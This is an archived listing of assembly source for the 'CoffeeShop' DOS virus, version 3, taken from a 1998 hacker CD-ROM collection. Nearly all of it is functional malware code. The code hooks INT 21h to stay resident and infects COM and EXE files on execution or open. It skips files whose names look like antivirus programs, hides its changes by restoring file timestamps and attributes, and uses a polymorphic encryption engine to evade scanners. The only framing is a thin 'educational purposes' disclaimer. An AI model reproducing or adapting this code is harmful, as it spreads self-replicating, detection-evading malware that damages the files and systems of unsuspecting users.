home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / pc / virus / coffshop.asm / text0000.txt < prev   
Encoding:
Text File  |  2003-06-11  |  59.3 KB  |  1,677 lines

  1.  
  2. ;******************************************************************************
  3. ;*  CoffeeShop VIRUS     version 3
  4. ;*
  5. ;*  Use MASM 4.0 to compile this source
  6. ;*  (other assemblers will probably not produce the same result)
  7. ;*
  8. ;*  Disclaimer:
  9. ;*  This file is only for educational purposes. The author takes no
  10. ;*  responsibility for anything anyone does with this file. Do not
  11. ;*  modify this file!
  12. ;******************************************************************************
  13.  
  14.  
  15.                 .RADIX  16
  16.  
  17.  
  18. _TEXT           segment
  19.  
  20.                 assume  cs:_TEXT, ds:_TEXT
  21.  
  22.  
  23. VERSION         equ     3
  24. PICLEN          equ     last - beeld            ;length of picture routine
  25. FILELEN         equ     last - first            ;length of virus
  26. FILEPAR         equ     (FILELEN + 0F)/10       ;length of virus in paragraphs
  27. VIRPAR          equ     00D0                    ;space for resident virus
  28. WORKPAR         equ     0160                    ;work space for engine
  29. STACKOFF        equ     1000                    ;Stack offset
  30. DATAPAR         equ     0050                    ;extra memory allocated
  31. BUFLEN          equ     1C                      ;length of buffer
  32.  
  33.  
  34. ;****************************************************************************
  35. ;*              data area for virus
  36. ;****************************************************************************
  37.  
  38.                 org     00E0
  39.  
  40. mutstack        dw      0, 0
  41. oldlen          dw      0, 0
  42. oi21            dw      0, 0
  43. minibuf         db      0, 0, 0, 0
  44.  
  45.  
  46. ;****************************************************************************
  47. ;*              data area for engine
  48. ;****************************************************************************
  49.  
  50. add_val         dw      0
  51. xor_val         dw      0
  52. xor_offset      dw      0
  53. where_len       dw      0
  54. where_len2      dw      0
  55. flags           db      0
  56.  
  57.  
  58. ;******************************************************************************
  59. ;*              Begin of virus, installation in memory
  60. ;******************************************************************************
  61.  
  62.                 org     0100
  63.  
  64. first:          call    next                    ;get IP
  65. next:           pop     si
  66.  
  67.                 sub     si,low 3                ;SI = begin virus
  68.                 mov     di,0100
  69.                 cld
  70.  
  71.                 push    ax                      ;save registers
  72.                 push    ds
  73.                 push    es
  74.                 push    di
  75.                 push    si
  76.  
  77.                 mov     ah,30                   ;DOS version >= 3.1?
  78.                 int     21
  79.                 xchg    ah,al
  80.                 cmp     ax,030A
  81.                 jb      not_install
  82.  
  83.                 mov     ax,33DA                 ;already resident?
  84.                 int     21
  85.                 cmp     ah,0A5
  86.                 je      not_install
  87.  
  88.                 mov     ax,es                   ;adjust memory-size
  89.                 dec     ax
  90.                 mov     ds,ax
  91.                 xor     bx,bx
  92.                 cmp     byte ptr [bx],5A
  93.                 jne     not_install
  94.                 mov     ax,[bx+3]
  95.                 sub     ax,(VIRPAR+WORKPAR)
  96.                 jb      not_install
  97.                 mov     [bx+3],ax
  98.                 sub     word ptr ds:[bx+12],(VIRPAR+WORKPAR)
  99.  
  100.                 mov     es,[bx+12]              ;copy program to top
  101.                 push    cs
  102.                 pop     ds
  103.                 mov     cx,FILELEN
  104.         rep     movsb
  105.  
  106.                 push    es
  107.                 pop     ds
  108.  
  109.                 mov     ax,3521                 ;get original int21 vector
  110.                 int     21
  111.                 mov     ds:[oi21],bx
  112.                 mov     ds:[oi21+2],es
  113.  
  114.                 mov     dx,offset ni21          ;install new int21 handler
  115.                 mov     ax,2521
  116.                 int     21
  117.  
  118.                 mov     ax,33DBh                ;init. random nr. generator
  119.                 int     21
  120.  
  121.                 mov     ah,2A                   ;ask date
  122.                 int     21
  123.                 cmp     al,5                    ;friday ?
  124.                 jne     not_install
  125.                 mov     ah,2C                   ;ask time
  126.                 int     21
  127.                 or      dh,dh                   ;sec = 0 ?
  128.                 jnz     not_install
  129.                 
  130.                 mov     ax,33DC                 ;show picture
  131.                 int     21
  132.  
  133. not_install:    pop     si                      ;restore registers
  134.                 pop     di
  135.                 pop     es
  136.                 pop     ds
  137.                 pop     ax
  138.  
  139.                 add     si,(offset buffer)
  140.                 sub     si,di
  141.                 cmp     byte ptr cs:[si],4Dh    ;COM or EXE ?
  142.                 je      entryE
  143.  
  144. entryC:         push    di
  145.                 mov     cx,BUFLEN
  146.         rep     movsb
  147.                 ret
  148.  
  149. entryE:         mov     bx,ds                   ;calculate CS
  150.                 add     bx,low 10
  151.                 mov     cx,bx
  152.                 add     bx,cs:[si+0E]
  153.                 cli                             ;restore SS and SP
  154.                 mov     ss,bx
  155.                 mov     sp,cs:[si+10]
  156.                 sti
  157.                 add     cx,cs:[si+16]
  158.                 push    cx                      ;push new CS on stack
  159.                 push    cs:[si+14]              ;push new IP on stack
  160.                 db      0CBh                    ;retf
  161.  
  162.  
  163. ;******************************************************************************
  164. ;*              Interupt 24 handler
  165. ;******************************************************************************
  166.  
  167. ni24:           mov     al,3                    ;to avoid 'Abort, Retry, ...'
  168.                 iret
  169.  
  170.  
  171. ;******************************************************************************
  172. ;*              Interupt 21 handler
  173. ;******************************************************************************
  174.  
  175. ni21:           pushf
  176.  
  177.                 cmp     ax,33DA                 ;install-check ?
  178.                 jne     not_ic
  179.                 mov     ax,0A500+VERSION        ;return a signature
  180.                 popf
  181.                 iret
  182.  
  183. not_ic:         push    es                      ;save registers
  184.                 push    ds
  185.                 push    si
  186.                 push    di
  187.                 push    dx
  188.                 push    cx
  189.                 push    bx
  190.                 push    ax
  191.  
  192.                 cmp     ax,33DBh                ;rnd init ?
  193.                 jne     not_ri
  194.                 call    rnd_init
  195.                 jmp     short no_infect
  196.  
  197. not_ri:         cmp     ax,33DC                 ;show picture?
  198.                 je      show_pic
  199.  
  200. not_pi:         cmp     ax,4B00                 ;execute ?
  201.                 je      do_it
  202.  
  203.                 cmp     ax,6C00                 ;open DOS 4.0+ ?
  204.                 jne     no_infect
  205.                 test    bl,3
  206.                 jnz     no_infect
  207.                 mov     dx,di
  208.  
  209. do_it:          call    infect
  210.  
  211. no_infect:      pop     ax                      ;restore registers
  212.                 pop     bx
  213.                 pop     cx
  214.                 pop     dx
  215.                 pop     di
  216.                 pop     si
  217.                 pop     ds
  218.                 pop     es
  219.                 popf
  220.  
  221. org21:          jmp     dword ptr cs:[oi21]     ;call to old int-handler
  222.  
  223.  
  224. ;******************************************************************************
  225. ;*              Show picture
  226. ;******************************************************************************
  227.  
  228. show_pic:       mov     ax,offset no_infect     ;push return adres on stack
  229.                 push    cs
  230.                 push    ax
  231.  
  232.                 mov     di,((VIRPAR*10)+0100)   ;move picture routine
  233.                 mov     si,offset beeld
  234.                 mov     cx,PICLEN
  235.                 push    cs
  236.                 pop     ds
  237.                 push    cs
  238.                 pop     es
  239.         rep     movsb
  240.  
  241.                 mov     ax,cs                   ;calculate segment registers
  242.                 add     ax,low VIRPAR
  243.                 mov     ds,ax
  244.                 mov     es,ax
  245.  
  246.                 push    ax                      ;push picture adres on stack
  247.                 mov     ax,0100
  248.                 push    ax
  249.  
  250.                 db      0CBh                    ;(retf) goto picture routine
  251.  
  252.  
  253. ;******************************************************************************
  254. ;*              Tries to infect the file
  255. ;******************************************************************************
  256.  
  257. infect:         cld
  258.  
  259.                 push    cs                      ;copy filename to CS:0000
  260.                 pop     es
  261.                 mov     si,dx
  262.                 xor     di,di
  263.                 mov     cx,0080
  264. namemove:       lodsb
  265.                 cmp     al,0
  266.                 je      moved
  267.                 cmp     al,'a'
  268.                 jb      char_ok
  269.                 cmp     al,'z'
  270.                 ja      char_ok
  271.                 xor     al,20                   ;convert to upper case
  272. char_ok:        stosb
  273.                 loop    namemove
  274. return0:        ret
  275.  
  276. moved:          stosb                           ;put last zero after filename
  277.                 lea     si,[di-5]
  278.                 push    cs
  279.                 pop     ds
  280.                 
  281.                 lodsw                           ;check extension .COM or .EXE
  282.                 cmp     ax,'E.'
  283.                 jne     not_exe
  284.                 lodsw
  285.                 cmp     ax,'EX'
  286.                 jmp     short check
  287.  
  288. not_exe:        cmp     ax,'C.'
  289.                 jne     return0
  290.                 lodsw
  291.                 cmp     ax,'MO'
  292. check:          jne     return0
  293.  
  294.                 std                             ;find begin of filename
  295.                 mov     cx,si
  296.                 inc     cx
  297. searchbegin:    lodsb
  298.                 cmp     al,':'
  299.                 je      checkname
  300.                 cmp     al,'\'
  301.                 je      checkname
  302.                 loop    searchbegin
  303.                 dec     si
  304.  
  305. checkname:      cld                             ;check filename
  306.                 lodsw
  307.                 lodsw
  308.                 mov     di,offset names
  309.                 mov     cl,13
  310.         repnz   scasw
  311.                 je      return0
  312.  
  313.                 mov     ax,3300                 ;get ctrl-break flag
  314.                 int     21
  315.                 push    dx                      ;save flag on stack
  316.  
  317.                 cwd                             ;clear the flag
  318.                 inc     ax
  319.                 push    ax
  320.                 int     21
  321.  
  322.                 mov     ax,3524                 ;get int24 vector
  323.                 int     21
  324.                 push    es                      ;save vector on stack
  325.                 push    bx
  326.  
  327.                 push    cs
  328.                 pop     ds
  329.  
  330.                 mov     dx,offset ni24          ;install new int24 handler
  331.                 mov     ah,25
  332.                 push    ax
  333.                 int     21
  334.  
  335.                 mov     ax,4300                 ;ask file-attributes
  336.                 cwd
  337.                 int     21
  338.                 push    cx                      ;save attributes on stack
  339.  
  340.                 xor     cx,cx                   ;clear attributes
  341.                 mov     ax,4301
  342.                 push    ax
  343.                 int     21
  344.                 jc      return1v
  345.  
  346.                 mov     ax,3D02                 ;open the file
  347.                 int     21
  348.                 jnc     opened
  349. return1v:       jmp     return1
  350.  
  351. opened:         xchg    ax,bx                   ;save handle
  352.  
  353.                 mov     ax,5700                 ;get file date & time
  354.                 int     21
  355.                 push    dx                      ;save date & time on stack
  356.                 push    cx
  357.  
  358.                 mov     cx,BUFLEN               ;read begin of file
  359.                 mov     si,offset buffer
  360.                 mov     dx,si
  361.                 call    read
  362.                 jc      closev
  363.  
  364.                 mov     ax,4202                 ;goto end, get filelength
  365.                 xor     cx,cx
  366.                 cwd
  367.                 int     21
  368.  
  369.                 mov     di,offset oldlen        ;save filelength
  370.                 mov     [di],ax
  371.                 mov     [di+2],dx
  372.  
  373.                 mov     ax,word ptr [si+12]     ;already infected?
  374.                 add     al,ah
  375.                 cmp     al,'@'
  376.                 jz      closev
  377.  
  378.                 cmp     word ptr [si],'ZM'      ;EXE ?
  379.                 je      do_EXE
  380.  
  381. do_COM:         test    byte ptr [si],80        ;maybe a strange EXE?
  382.                 jz      closev
  383.  
  384.                 mov     ax,word ptr [di]        ;check lenght of file
  385.                 cmp     ah,0D0
  386.                 jae     closev
  387.                 cmp     ah,1
  388.                 jb      closev
  389.  
  390.                 mov     dx,ax
  391.                 add     dx,0100
  392.                 call    writeprog               ;call Engine and write virus
  393.                 jne     closev
  394.  
  395.                 mov     byte ptr [si],0E9       ;put 'JMP xxxx' at begin
  396.                 sub     ax,low 3
  397.                 mov     word ptr [si+1],ax
  398.                 jmp     done
  399.  
  400. closev:         jmp     close
  401.  
  402. do_EXE:         cmp     word ptr [si+18],40     ;is it a windows/OS2 EXE ?
  403.                 jb      not_win
  404.  
  405.                 mov     ax,003C
  406.                 cwd
  407.                 call    readbytes
  408.                 jc      closev
  409.  
  410.                 mov     ax,word ptr [di+8]
  411.                 mov     dx,word ptr [di+0A]
  412.                 call    readbytes
  413.                 jc      closev
  414.                 
  415.                 cmp     byte ptr [di+9],'E'
  416.                 je      closev
  417.  
  418. not_win:        call    getlen
  419.                 call    calclen                 ;check for internal overlays
  420.                 cmp     word ptr [si+4],ax
  421.                 jne     close
  422.                 cmp     word ptr [si+2],dx
  423.                 jne     close
  424.  
  425.                 cmp     word ptr [si+0C],0      ;high memory allocation?
  426.                 je      close
  427.  
  428.                 cmp     word ptr [si+1A],0      ;overlay nr. not zero?
  429.                 jne     close
  430.  
  431.                 call    getlen                  ;calculate new CS & IP
  432.                 mov     cx,0010
  433.                 div     cx
  434.                 sub     ax,word ptr [si+8]
  435.                 dec     ax
  436.                 add     dx,low 10
  437.  
  438.                 call    writeprog               ;call Engine and write virus
  439.                 jne     close
  440.  
  441.                 mov     word ptr [si+16],ax     ;put CS in header
  442.                 mov     word ptr [si+0E],ax     ;put SS in header
  443.                 mov     word ptr [si+14],dx     ;put IP in header
  444.                 mov     word ptr [si+10],STACKOFF  ;put SP in header
  445.  
  446.                 call    getlen
  447.                 add     ax,cx
  448.                 adc     dx,0
  449.                 call    calclen                 ;put new length in header
  450.                 mov     word ptr [si+4],ax
  451.                 mov     word ptr [si+2],dx
  452.  
  453.                 lea     di,[si+0A]              ;adjust mem. allocation info
  454.                 call    mem_adjust
  455.                 lea     di,[si+0C]
  456.                 call    mem_adjust
  457.  
  458. done:           call    gotobegin
  459.                 call    rnd_get                 ;signature
  460.                 mov     ah,'@'
  461.                 sub     ah,al
  462.                 mov     word ptr [si+12],ax
  463.                 mov     cx,BUFLEN               ;write new begin
  464.                 mov     dx,si
  465.                 mov     ah,40
  466.                 int     21
  467.  
  468. close:          pop     cx                      ;restore date & time
  469.                 pop     dx
  470.                 mov     ax,5701
  471.                 int     21
  472.  
  473.                 mov     ah,3E                   ;close the file
  474.                 int     21
  475.  
  476. return1:        pop     ax                      ;restore attributes
  477.                 pop     cx
  478.                 cwd
  479.                 int     21
  480.  
  481.                 pop     ax                      ;restore int24 vector
  482.                 pop     dx
  483.                 pop     ds
  484.                 int     21
  485.  
  486.                 pop     ax                      ;restore ctrl-break flag
  487.                 pop     dx
  488.                 int     21
  489.  
  490.                 ret
  491.  
  492.  
  493. ;******************************************************************************
  494. ;*              Filenames to avoid
  495. ;******************************************************************************
  496.  
  497. names:          db      'CO', 'SC', 'CL', 'VS', 'NE', 'HT', 'TB', 'VI'
  498.                 db      'FI', 'GI', 'RA', 'FE', 'MT', 'BR', 'IM', '  '
  499.                 db      '  ', '  ', '  '
  500.  
  501.  
  502. ;******************************************************************************
  503. ;*              Write virus to the program
  504. ;******************************************************************************
  505.  
  506. writeprog:      push    ax                      ;save registers
  507.                 push    dx
  508.                 push    si
  509.                 push    bp
  510.                 push    es
  511.  
  512.                 cli
  513.                 mov     word ptr [di-4],ss      ;save SS & SP
  514.                 mov     word ptr [di-2],sp
  515.  
  516.                 mov     ax,cs                   ;new stack & buffer-segment
  517.                 mov     ss,ax
  518.                 mov     sp,((VIRPAR + WORKPAR) * 10)
  519.                 add     ax,low VIRPAR
  520.                 mov     es,ax
  521.                 sti
  522.  
  523.                 push    ds
  524.  
  525.                 mov     bp,dx                   ;input parameters for engine
  526.                 mov     dx,0100
  527.                 mov     cx,FILELEN
  528.                 xor     si,si
  529.                 mov     al,0Fh
  530.  
  531.                 push    di
  532.                 push    bx
  533.  
  534.                 call    crypt                   ;call the Engine
  535.  
  536.                 pop     bx
  537.                 pop     di
  538.  
  539.                 push    cx
  540.                 push    dx
  541.                 mov     ax,4202                 ;goto end
  542.                 xor     cx,cx
  543.                 cwd
  544.                 int     21
  545.                 pop     dx
  546.                 pop     cx
  547.  
  548.                 mov     ah,40                   ;write virus
  549.                 int     21
  550.                 cmp     ax,cx                   ;are all bytes written?
  551.  
  552.                 pop     ds
  553.  
  554.                 cli
  555.                 mov     ss,word ptr [di-4]      ;restore stack
  556.                 mov     sp,word ptr [di-2]
  557.                 sti
  558.  
  559.                 pop     es                      ;restore registers
  560.                 pop     bp
  561.                 pop     si
  562.                 pop     dx
  563.                 pop     ax
  564.  
  565.                 ret
  566.  
  567.  
  568. ;******************************************************************************
  569. ;*              Adjust mem allocation info in EXE header
  570. ;******************************************************************************
  571.  
  572. mem_adjust:     mov     ax,[di]
  573.                 sub     ax,low FILEPAR          ;alloc. may be this much less
  574.                 jb      more
  575.                 cmp     ax,DATAPAR              ;minimum amount to allocate
  576.                 jae     mem_ok
  577. more:           mov     ax,DATAPAR
  578. mem_ok:         mov     [di],ax
  579.                 ret
  580.  
  581.  
  582. ;******************************************************************************
  583. ;*              Read a few bytes
  584. ;******************************************************************************
  585.  
  586. readbytes:      call    goto
  587.                 mov     dx,offset minibuf
  588.                 mov     cx,4
  589. read:           mov     ah,3F
  590.                 int     21
  591.                 ret
  592.  
  593.  
  594. ;******************************************************************************
  595. ;*              Calculate length for EXE header
  596. ;******************************************************************************
  597.  
  598. calclen:        mov     cx,0200
  599.                 div     cx
  600.                 or      dx,dx
  601.                 jz      no_cor
  602.                 inc     ax
  603. no_cor:         ret
  604.  
  605.  
  606. ;******************************************************************************
  607. ;*              Get original length of program
  608. ;******************************************************************************
  609.  
  610. getlen:         mov     ax,[di]
  611.                 mov     dx,[di+2]
  612.                 ret
  613.  
  614.  
  615. ;******************************************************************************
  616. ;*              Goto new offset DX:AX
  617. ;******************************************************************************
  618.  
  619. gotobegin:      xor     ax,ax
  620.                 cwd
  621. goto:           xchg    cx,dx
  622.                 xchg    ax,dx
  623.                 mov     ax,4200
  624.                 int     21
  625.                 ret
  626.  
  627.  
  628. ;****************************************************************************
  629. ;*
  630. ;*              Encryption Engine
  631. ;*
  632. ;*
  633. ;*      Input:  ES      work segment
  634. ;*              DS:DX   code to encrypt
  635. ;*              BP      what will be start of decryptor
  636. ;*              SI      what will be distance between decryptor and code
  637. ;*              CX      length of code
  638. ;*              AX      flags: bit 0: DS will not be equal to CS
  639. ;*                             bit 1: insert random instructions
  640. ;*                             bit 2: put junk before decryptor
  641. ;*                             bit 3: preserve AX with decryptor
  642. ;*
  643. ;*      Output: ES:     work segment (preserved)
  644. ;*              DS:DX   decryptor + encrypted code
  645. ;*              BP      what will be start of decryptor (preserved)
  646. ;*              DI      length of decryptor / offset of encrypted code
  647. ;*              CX      length of decryptor + encrypted code
  648. ;*              AX      length of encrypted code
  649. ;*              (other registers may be trashed)
  650. ;*
  651. ;****************************************************************************
  652.  
  653.                 db      '[ MK / Trident ]'
  654.  
  655. crypt:          xor     di,di                   ;di = start of decryptor
  656.                 push    dx                      ;save offset of code
  657.                 push    si                      ;save future offset of code
  658.  
  659.                 mov     byte ptr ds:[flags],al  ;save flags
  660.                 test    al,8                    ;push  AX?
  661.                 jz      no_push
  662.                 mov     al,50
  663.                 stosb
  664.  
  665. no_push:        call    rnd_get                 ;add a few bytes to cx
  666.                 and     ax,1F
  667.                 add     cx,ax
  668.                 push    cx                      ;save length of code
  669.  
  670.                 call    rnd_get                 ;get random flags
  671.                 xchg    ax,bx
  672.                                         ;BX flags:
  673.  
  674.                                         ;0,1    how to encrypt
  675.                                         ;2,3    which register for encryption
  676.                                         ;4      use byte or word for encrypt
  677.                                         ;5      MOV AL, MOV AH or MOV AX
  678.                                         ;6      MOV CL, MOV CH or MOV CX
  679.                                         ;7      AX or DX
  680.  
  681.                                         ;8      count up or down
  682.                                         ;9      ADD/SUB/INC/DEC or CMPSW/SCASW
  683.                                         ;A      ADD/SUB or INC/DEC
  684.                                         ;       CMPSW or SCASW
  685.                                         ;B      offset in XOR instruction?
  686.                                         ;C      LOOPNZ or LOOP
  687.                                         ;       SUB CX or DEC CX
  688.                                         ;D      carry with crypt ADD/SUB
  689.                                         ;E      carry with inc ADD/SUB
  690.                                         ;F      XOR instruction value or AX/DX
  691.  
  692. random:         call    rnd_get                 ;get random encryption value
  693.                 or      al,al
  694.                 jz      random                  ;again if 0
  695.                 mov     ds:[xor_val],ax
  696.  
  697.                 call    do_junk                 ;insert random instructions
  698.  
  699.                 pop     cx
  700.  
  701.                 mov     ax,0111                 ;make flags to remember which
  702.                 test    bl,20                   ;  MOV instructions are used
  703.                 jnz     z0
  704.                 xor     al,07
  705. z0:             test    bl,0C
  706.                 jnz     z1
  707.                 xor     al,70
  708. z1:             test    bl,40
  709.                 jnz     z2
  710.                 xor     ah,7
  711. z2:             test    bl,10
  712.                 jnz     z3
  713.                 and     al,73
  714. z3:             test    bh,80
  715.                 jnz     z4
  716.                 and     al,70
  717.  
  718. z4:             mov     dx,ax
  719. mov_lup:        call    rnd_get                 ;put MOV instructions in
  720.                 and     ax,000F                 ;  a random order
  721.                 cmp     al,0A
  722.                 ja      mov_lup
  723.  
  724.                 mov     si,ax
  725.                 push    cx                      ;test if MOV already done
  726.                 xchg    ax,cx
  727.                 mov     ax,1
  728.                 shl     ax,cl
  729.                 mov     cx,ax
  730.                 and     cx,dx
  731.                 pop     cx
  732.                 jz      mov_lup
  733.                 xor     dx,ax                   ;remember which MOV done
  734.  
  735.                 push    dx
  736.                 call    do_mov                  ;insert MOV instruction
  737.                 call    do_nop                  ;insert a random NOP
  738.                 pop     dx
  739.  
  740.                 or      dx,dx                   ;all MOVs done?
  741.                 jnz     mov_lup
  742.  
  743.                 push    di                      ;save start of decryptor loop
  744.  
  745.                 call    do_add_ax               ;add a value to AX in loop?
  746.                 call    do_nop
  747.                 test    bh,20                   ;carry with ADD/SUB ?
  748.                 jz      no_clc
  749.                 mov     al,0F8
  750.                 stosb
  751. no_clc:         mov     word ptr ds:[xor_offset],0
  752.                 call    do_xor                  ;place all loop instructions
  753.                 call    do_nop
  754.                 call    do_add
  755.  
  756.                 pop     dx                      ;get start of decryptor loop
  757.  
  758.                 call    do_loop
  759.  
  760.                 test    byte ptr ds:[flags],8   ;insert POP AX ?
  761.                 jz      no_pop
  762.                 mov     al,58
  763.                 stosb
  764.  
  765. no_pop:         xor     ax,ax                   ;calculate loop offset
  766.                 test    bh,1                    ;up or down?
  767.                 jz      v1
  768.                 mov     ax,cx
  769.                 dec     ax
  770.                 test    bl,10                   ;encrypt with byte or word?
  771.                 jz      v1
  772.                 and     al,0FE
  773. v1:             add     ax,di
  774.                 add     ax,bp
  775.                 pop     si
  776.                 add     ax,si
  777.                 sub     ax,word ptr ds:[xor_offset]
  778.                 mov     si,word ptr ds:[where_len]
  779.                 test    bl,0C                   ;are BL,BH used for encryption?
  780.                 jnz     v2
  781.                 mov     byte ptr es:[si],al
  782.                 mov     si,word ptr ds:[where_len2]
  783.                 mov     byte ptr es:[si],ah
  784.                 jmp     short v3
  785. v2:             mov     word ptr es:[si],ax
  786.  
  787. v3:             mov     dx,word ptr ds:[xor_val]   ;encryption value
  788.  
  789.                 pop     si                      ;ds:si = start of code
  790.  
  791.                 push    di                      ;save ptr to encrypted code
  792.                 push    cx                      ;save length of encrypted code
  793.  
  794.                 test    bl,10                   ;byte or word?
  795.                 jz      blup
  796.  
  797.                 inc     cx                      ;cx = # of crypts (words)
  798.                 shr     cx,1
  799.  
  800. lup:            lodsw                           ;encrypt code (words)
  801.                 call    do_encrypt
  802.                 stosw
  803.                 loop    lup
  804.                 jmp     short klaar
  805.  
  806.  
  807. blup:           lodsb                           ;encrypt code (bytes)
  808.                 xor     dh,dh
  809.                 call    do_encrypt
  810.                 stosb
  811.                 loop    blup
  812.  
  813. klaar:          mov     cx,di                   ;cx = length decryptpr + code
  814.                 pop     ax                      ;ax = length of decrypted code
  815.                 pop     di                      ;di = offset encrypted code
  816.                 xor     dx,dx                   ;ds:dx = decryptor + cr. code
  817.                 push    es
  818.                 pop     ds
  819.                 ret
  820.  
  821.  
  822. ;****************************************************************************
  823. ;*              encrypt the code
  824. ;****************************************************************************
  825.  
  826. do_encrypt:     add     dx,word ptr ds:[add_val]
  827.                 test    bl,2
  828.                 jnz     lup1
  829.                 xor     ax,dx
  830.                 ret
  831.  
  832. lup1:           test    bl,1
  833.                 jnz     lup2
  834.                 sub     ax,dx
  835.                 ret
  836.  
  837. lup2:           add     ax,dx
  838.                 ret
  839.  
  840.  
  841. ;****************************************************************************
  842. ;*              generate mov reg,xxxx
  843. ;****************************************************************************
  844.  
  845. do_mov:         mov     dx,si
  846.                 mov     al,byte ptr ds:[si+mov_byte]
  847.                 cmp     dl,4                    ;BX?
  848.                 jne     is_not_bx
  849.                 call    add_ind
  850. is_not_bx:      test    dl,0C                   ;A*?
  851.                 pushf
  852.                 jnz     is_not_a
  853.                 test    bl,80                   ;A* or D*?
  854.                 jz      is_not_a
  855.                 add     al,2
  856.  
  857. is_not_a:       call    alter                   ;insert the MOV
  858.  
  859.                 popf                            ;A*?
  860.                 jnz     is_not_a2
  861.                 mov     ax,word ptr ds:[xor_val]
  862.                 jmp     short sss
  863.  
  864. is_not_a2:      test    dl,8                    ;B*?
  865.                 jnz     is_not_b
  866.                 mov     si,offset where_len                
  867.                 test    dl,2
  868.                 jz      is_not_bh
  869.                 add     si,2
  870. is_not_bh:      mov     word ptr ds:[si],di
  871.                 jmp     short sss
  872.  
  873. is_not_b:       mov     ax,cx                   ;C*
  874.                 test    bl,10                   ;byte or word encryption?
  875.                 jz      sss
  876.                 inc     ax                      ;only half the number of bytes
  877.                 shr     ax,1
  878. sss:            test    dl,3                    ;byte or word register?
  879.                 jz      is_x
  880.                 test    dl,2                    ;*H?
  881.                 jz      is_not_h
  882.                 xchg    al,ah
  883. is_not_h:       stosb
  884.                 ret
  885.  
  886. is_x:           stosw
  887.                 ret
  888.  
  889.  
  890. ;****************************************************************************
  891. ;*              insert MOV or alternative for MOV
  892. ;****************************************************************************
  893.  
  894. alter:          push    bx
  895.                 push    cx
  896.                 push    ax
  897.                 call    rnd_get
  898.                 xchg    ax,bx
  899.                 pop     ax
  900.                 test    bl,3                    ;use alternative for MOV?
  901.                 jz      no_alter
  902.  
  903.                 push    ax
  904.                 and     bx,0F
  905.                 and     al,08
  906.                 shl     ax,1
  907.                 or      bx,ax
  908.                 pop     ax
  909.  
  910.                 and     al,7
  911.                 mov     cl,9
  912.                 xchg    ax,cx
  913.                 mul     cl
  914.  
  915.                 add     ax,30C0
  916.                 xchg    al,ah
  917.                 test    bl,4
  918.                 jz      no_sub
  919.                 mov     al,28
  920. no_sub:         call    maybe_2
  921.                 stosw
  922.  
  923.                 mov     al,80
  924.                 call    maybe_2
  925.                 stosb
  926.  
  927.                 mov     ax,offset add_mode
  928.                 xchg    ax,bx
  929.                 and     ax,3
  930.                 xlat
  931.  
  932.                 add     al,cl
  933. no_alter:       stosb
  934.                 pop     cx
  935.                 pop     bx
  936.                 ret
  937.  
  938.  
  939. ;****************************************************************************
  940. ;*              insert ADD AX,xxxx
  941. ;****************************************************************************
  942.  
  943. do_add_ax:      push    cx
  944.                 mov     si,offset add_val       ;save add-value here
  945.                 mov     word ptr ds:[si],0
  946.                 mov     ax,bx
  947.                 and     ax,8110
  948.                 xor     ax,8010
  949.                 jnz     no_add_ax               ;use ADD?
  950.  
  951.                 mov     ax,bx
  952.                 xor     ah,ah
  953.                 mov     cl,3
  954.                 div     cl
  955.                 or      ah,ah
  956.                 jnz     no_add_ax               ;use ADD?
  957.  
  958.                 test    bl,80
  959.                 jnz     do_81C2                 ;AX or DX?
  960.                 mov     al,5
  961.                 stosb
  962.                 jmp     short do_add0
  963. do_81C2:        mov     ax,0C281
  964.                 stosw
  965. do_add0:        call    rnd_get
  966.                 mov     word ptr ds:[si],ax
  967.                 stosw
  968. no_add_ax:      pop     cx
  969.                 ret
  970.  
  971.  
  972. ;****************************************************************************
  973. ;*              generate encryption command
  974. ;****************************************************************************
  975.  
  976. do_xor:         test    byte ptr ds:[flags],1
  977.                 jz      no_cs
  978.                 mov     al,2E                   ;insert CS: instruction
  979.                 stosb
  980.  
  981. no_cs:          test    bh,80                   ;type of XOR command
  982.                 jz      xor1
  983.  
  984.                 call    get_xor                 ;encrypt with register
  985.                 call    do_carry
  986.                 call    save_it
  987.                 xor     ax,ax
  988.                 test    bl,80
  989.                 jz      xxxx
  990.                 add     al,10
  991. xxxx:           call    add_dir
  992.                 test    bh,8
  993.                 jnz     yyyy
  994.                 stosb
  995.                 ret
  996.  
  997. yyyy:           or      al,80
  998.                 stosb             
  999.                 call    rnd_get
  1000.                 stosw
  1001.                 mov     word ptr ds:[xor_offset],ax
  1002.                 ret
  1003.  
  1004. xor1:           mov     al,080                  ;encrypt with value
  1005.                 call    save_it
  1006.                 call    get_xor
  1007.                 call    do_carry
  1008.                 call    xxxx
  1009.                 mov     ax,word ptr ds:[xor_val]
  1010.                 test    bl,10
  1011.                 jmp     byte_word
  1012.  
  1013.  
  1014. ;****************************************************************************
  1015. ;*              generate increase/decrease command
  1016. ;****************************************************************************
  1017.  
  1018. do_add:         test    bl,8                    ;no CMPSW/SCASW if BX is used
  1019.                 jz      da0
  1020.                 test    bh,2                    ;ADD/SUB/INC/DEC or CMPSW/SCASW
  1021.                 jnz     do_cmpsw
  1022.  
  1023. da0:            test    bh,4                    ;ADD/SUB or INC/DEC?
  1024.                 jz      add1
  1025.  
  1026.                 mov     al,40                   ;INC/DEC
  1027.                 test    bh,1                    ;up or down?
  1028.                 jz      add0
  1029.                 add     al,8
  1030. add0:           call    add_ind
  1031.                 stosb
  1032.                 test    bl,10                   ;byte or word?
  1033.                 jz      return
  1034.                 stosb                           ;same instruction again
  1035. return:         ret
  1036.  
  1037. add1:           test    bh,40                   ;ADD/SUB
  1038.                 jz      no_clc2                 ;carry?
  1039.                 mov     al,0F8                  ;insert CLC
  1040.                 stosb
  1041. no_clc2:        mov     al,083
  1042.                 stosb
  1043.                 mov     al,0C0
  1044.                 test    bh,1                    ;up or down?
  1045.                 jz      add2
  1046.                 mov     al,0E8
  1047. add2:           test    bh,40                   ;carry?
  1048.                 jz      no_ac2
  1049.                 and     al,0CF
  1050.                 or      al,10
  1051. no_ac2:         call    add_ind
  1052.                 stosb
  1053.                 mov     al,1                    ;value to add/sub
  1054. save_it:        call    add_1
  1055.                 stosb
  1056.                 ret
  1057.  
  1058. do_cmpsw:       test    bh,1                    ;up or down?
  1059.                 jz      no_std
  1060.                 mov     al,0FDh                 ;insert STD
  1061.                 stosb
  1062. no_std:         test    bh,4                    ;CMPSW or SCASW?
  1063.                 jz      normal_cmpsw
  1064.                 test    bl,4                    ;no SCASW if SI is used
  1065.                 jnz     do_scasw
  1066.  
  1067. normal_cmpsw:   mov     al,0A6                  ;CMPSB
  1068.                 jmp     short save_it
  1069. do_scasw:       mov     al,0AE                  ;SCASB
  1070.                 jmp     short save_it
  1071.  
  1072.  
